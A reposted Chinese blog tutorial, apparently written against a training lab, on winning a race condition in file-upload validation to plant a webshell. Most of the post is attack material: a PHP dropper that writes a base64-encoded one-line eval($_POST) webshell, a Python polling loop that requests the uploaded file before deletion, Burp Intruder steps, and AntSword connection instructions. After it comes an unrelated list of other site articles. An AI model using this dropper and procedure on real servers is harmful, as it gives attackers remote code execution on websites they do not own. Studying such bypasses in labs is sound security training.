文件上传-条件竞争绕过

news/2025/9/17 18:17:01/文章来源:https://www.cnblogs.com/Sanke/p/19097254

条件竞争原理:
条件竞争的逻辑是代码逻辑问题:当我们文件上传到服务器时,先对文件进行保存,然后对文件的后缀名进行判断,符合白名单的保存,不符合就删除,但在删除之前,有另一个对服务器发起的请求,要访问这个文件,那么就可能造成文件被读取和访问。这就是条件竞争。
首先准备一个php文件:
1.php

<?php
file_put_contents('2.php', base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7ID8+'));
echo "一句话木马已生成: 2.php";
?>

这是将一句话木马写入2.php中,并且一句话木马被base64加密
其次准备竞争的代码,就是对服务端发起请求,请求访问上传的文件
a.py

import requests
import time
url = "http://IP:端口/upload/1.php"
while 1:res=requests.get(url)print( res.status_code)if res.status_code==200:print(res.content)
time.sleep(0.1)

然后就是打开burp,进行抓包,营造出无数个人去上传 1.php 的场景
具体步骤演示:
首先,进入靶场
image
其次burp抓包,进入intruder模块,payload选择无,然后选择无限制次数访问
image
接着运行a.py,然后进行爆破
等到终端出现200成功的状态码,就可以去访问http://home.edu.ltsec.com:51746/upload/2.php,会出现空白页面
接着就可以用蚁剑进行连接了
连接链接
http://home.edu.ltsec.com:51746/upload/2.php
需要注意的是,我们的木马是进行base64加密的,所以连接的时候蚁剑要进行base64解密
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/906705.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

9.17 CSP-S模拟23/多校A层冲刺NOIP2024模拟赛19 改题记录

HZOJ 写在前面 连着三天吃三坨。本来想着今天大凶忌参加模拟赛然后没模拟赛挺好的,然后7:57临时通知加场,难道这就是大凶?好吧打就打吧,没想到真差点爆零。粗看没一道题可做怀疑自己的水平了然后赛后猛然醒悟是自己蠢如猪。其实这篇前面应该还有两篇,但是奈何这套改完得比…

Java基本语法

Java基本语法Day04 今天内容大部分在复习运算符的内容和分支语句练习题 复习运算符: 运算符:+ - + - * / % (前)++ (后)++ (前)-- (后)-- + 算术运算符: 【特别说明的】 1.//(前)++ :先自增1,后运算 //(后)++ :先运算,后自增1 2.//(前)-- :先自减1,后运算 //(后)-- :先运算,…

在AI技术快速实现创想的时代,挖掘前端学习新需求成为关键——某知名编程教育平台需求洞察

本文分析了一个包含50个前端项目的编程学习资源,涵盖交互设计、动画效果和实用工具等多种类型,通过用户反馈发现了界面优化、功能扩展和教学改进等方面的潜在需求。a.内容描述 该项目是一个包含50个独立前端项目的编程学习资源,核心功能定位在于通过实际项目练习帮助开发者掌…

IvorySQL 与 deepin 完成兼容性认证,共创开源生态新篇章

近日,IvorySQL 与 deepin 操作系统成功完成了兼容性适配认证。这一里程碑式的成就标志着 IvorySQL 在国产操作系统生态中的进一步深化,为用户提供更稳定、高效的数据库解决方案。deepin 简介 深度操作系统 deepin 是一款以“简洁、美观、易用”著称的国产 Linux 发行版,拥有…

在 Nginx 上搭建静态站点

1、新建站点的配置文件 vi /etc/nginx/conf.d/www.xxx.com.conf2、写入如下内容: server {listen 80;#listen [::]:80;server_name www.xxx.com; # 这里可以写你的域名,或者 _ 表示匹配所有 root /var/www/www.xxx.com; # 你的静态文件目录 index index.html index.htm;locat…

kylin SP3安装mysql 8.4.5

环境:OS:kylin SP3mysql:8.4.5 glibc2.17,建议安装glibc.2.28版本 查看系统glibc版本[root@localhost ~]# ldd --versionldd (GNU libc) 2.28Copyright (C) 2018 自由软件基金会。这是一个自由软件;请见源代码的授权条款。本软件不含任何没有担保;甚至不保证适销性或者适合某…

Unity中是否可以禁用GC

1)Unity中可以禁用GC吗2)项目是URP管线,渲染模块CPU耗时高,经排查主要是Batches数过高,应怎样进一步排查和优化渲染批次这是第445篇UWA技术知识分享的推送,精选了UWA社区的热门话题,涵盖了UWA问答、社区帖子等技术知识点,助力大家更全面地掌握和学习。 UWA社区主页:co…

经典SQL语句大全

经典SQL语句大全一、基础1、说明:创建数据库CREATE DATABASE database-name2、说明:删除数据库drop database dbname3、说明:备份sql server--- 创建 备份数据的 deviceUSE masterEXEC sp_addumpdevice disk, testBack, c:\mssql7backup\MyNwind_1.dat--- 开始 备份BACKUP D…

Rhinoceros 8.23.25251.13001 犀牛3D建模

描述 Rhinoceros 是由美国Robert McNeel公司最新出品的专业强大的3D建模软件。软件以集百家之长为一体的发展教育理念,拥有NURBS的优秀传统建模教学方法,也有一个网格进行建模插件T-Spline,使建模方式方法有了更多的挑选,然后能创建出更传神、生动的造型。能输入和输出几十…

《深入理解计算机系统》计算机系统漫游(一) - Invinc

本文记录《深入理解计算机系统》中第1章 计算机系统漫游 的一些知识点。本文记录《深入理解计算机系统》中第1章 计算机系统漫游 的一些知识点。第1章 计算机系统漫游 信息就是位+上下文 系统中所有的信息——包括磁盘文件、内存中的程序、内存中存放的用户数据以及网络上传送的…

从几何分离到语义理解:深度解析3D点云分割与语义分割的本质区别

在三维计算机视觉领域,3D点云作为真实世界场景的核心数据载体,其处理技术直接决定了机器感知环境的精度与效率。 其中,3D点云分割与语义分割是两类关键技术,尽管二者同属点云处理范畴,但在目标定位、信息输出与应用价值上存在本质差异。 前者专注于“几何层面的分离”,通…

欧拉筛(线性筛)算法分析

前言对于寻找素数,第一时间想到的便是二重循环暴力查找,其复杂度O(n^2),通过循环中只判断到根号n可以优化一些,不过复杂度也达不到预期。在数论的学习中,我学到了埃氏筛法,O(nloglogn)的算法,而在一些数据范围达到1e7这样的题目中,也很难让人满意,于是我便学习了欧拉筛…

2021年安徽省大数据与人工智能应用竞赛 大数据(网络赛)-高职组赛题

本套数据数据: 通过网盘分享的文件: 链接: https://pan.baidu.com/s/1ZQXoWQhCOAiGVcFOZozV1g?pwd=json 提取码: json 第二部分:大数据程序编写部分(30分) 任务一、数据抽取转化部分(5分) 1、使用sqoop将MySQL的sakila数据库中的city表中city列以C开头的数据导入到hdfs…

一些写了和没写的数学!

P8114 [Cnoi2021] 六边形战士 传送 非常好玩的题! 首先你大概率看过一些“无字证明”,其中很经典的是这个: 证明:用若干个边长为 \(1\),顶角为 \(60\) 度的菱形拼成一个边长为 \(n\) 的正六边形,三个方向的菱形个数一定相等。这是一个经典的无字证明,虽然前置的说明要费…

【光照】[自发光Emission]以UnityURP为例

【从UnityURP开始探索游戏渲染】专栏-直达自发光的基本原理 $Cemissive=Memissive$ 自发光是物体表面主动发射光线的现象,在光照模型中通常作为独立于外部光源的附加项。其核心特点是不受其他光照影响,但可以影响周围环境。 实现流程‌定义发射颜色和强度‌:确定基础发光颜色…

mybatis-plus初体验,解决报错Invalid value type for attribute factoryBeanObjectType: java.lang.String

解决报错Invalid value type for attribute factoryBeanObjectType: java.lang.String 推荐这位大佬的博客: https://www.cnblogs.com/muphy/p/18653627 项目结构MyBatis-Plus配置类MyBatisPlusConfig package com.example.config;import com.baomidou.mybatisplus.annotation…

Alexandresku设计的loki小对象内存分配器

Loki是由 Alexandresku 编写的一个与《Modern C++ Design》(C++设计新思维)一书配套发行的C++代码库。其中有两个文件 SmallObj.h 、SmallObj.cpp 进行内存管理,可以单独进行使用 三个class,第一层是chunk,第二层是vector<chunk> FixedAllocator,第三层是vector&l…

C++ 内存管理

C++ 内存管理是程序设计的核心环节,直接影响程序的性能、稳定性和安全性。C++ 不像 Java、Python 等语言有自动垃圾回收机制,而是需要开发者手动管理动态内存(或通过智能指针等机制自动管理)。 1、C++ 内存分区内存区域 存储内容 生命周期 管理方式栈 (Stack) 函数参数、局…

浅谈制氢电源及英飞凌解决方案

大家对氢元素肯定都不陌生,认识它基本都是从背元素周期表开始的。近年来我们身边多了很多氢的身影,从北京冬奥会的氢燃料电池大巴,再到广州南沙小虎岛电氢智慧能源站,氢也越来越被大家熟知。工业上,氢的使用可是一点都不少,自 1975 年以来,需求量增长了三倍,而且还在继…

微算法科技(NASDAQ:MLGO)研究分布式量子计算,释放量子计算潜能

在信息时代,数据量呈指数级增长,经典计算机面临算力瓶颈。量子计算以其超强的并行处理能力,被视为下一世代计算范式的颠覆者。然而,单个量子处理器的脆弱性和制造难度限制了其广泛应用。微算法科技(NASDAQ:MLGO)研发团队研究通过分布式量子计算模型,将多个量子计算节点连…